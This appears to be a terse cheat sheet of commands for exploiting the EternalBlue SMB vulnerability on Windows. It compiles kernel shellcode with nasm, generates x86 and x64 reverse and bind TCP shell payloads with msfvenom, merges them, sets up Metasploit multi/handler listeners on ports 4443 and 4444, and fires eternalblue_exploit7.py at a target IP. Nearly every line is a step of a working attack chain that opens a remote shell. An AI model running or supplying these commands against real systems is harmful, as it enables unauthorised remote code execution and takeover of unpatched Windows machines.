nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin

msfvenom -p windows/x64/shell/reverse_tcp EXITFUNC=thread lhost=192.168.1.10 lport=4443 -f raw -o sc_x64_msf.bin

msfvenom -p windows/x64/shell/bind_tcp EXITFUNC=thread LPORT=4443 -f raw -o sc_x64_msf.bin

cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin

nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin

msfvenom -p windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.100 LPORT=4444 -f raw -o sc_x86_msf.bin

msfvenom -p windows/shell/bind_tcp EXITFUNC=thread LPORT=4444 -f raw -o sc_x86_msf.bin

cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin

msfconsole

use exploit/multi/handler
set payload <payload you specified with msfvenom>
set lport 4443
set rhost 192.168.1.100
exploit -j

Do the same steps for port 4444
So two listener will be running at same time

python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin

python eternalblue_exploit7.py 192.168.1.100 sc_all.bin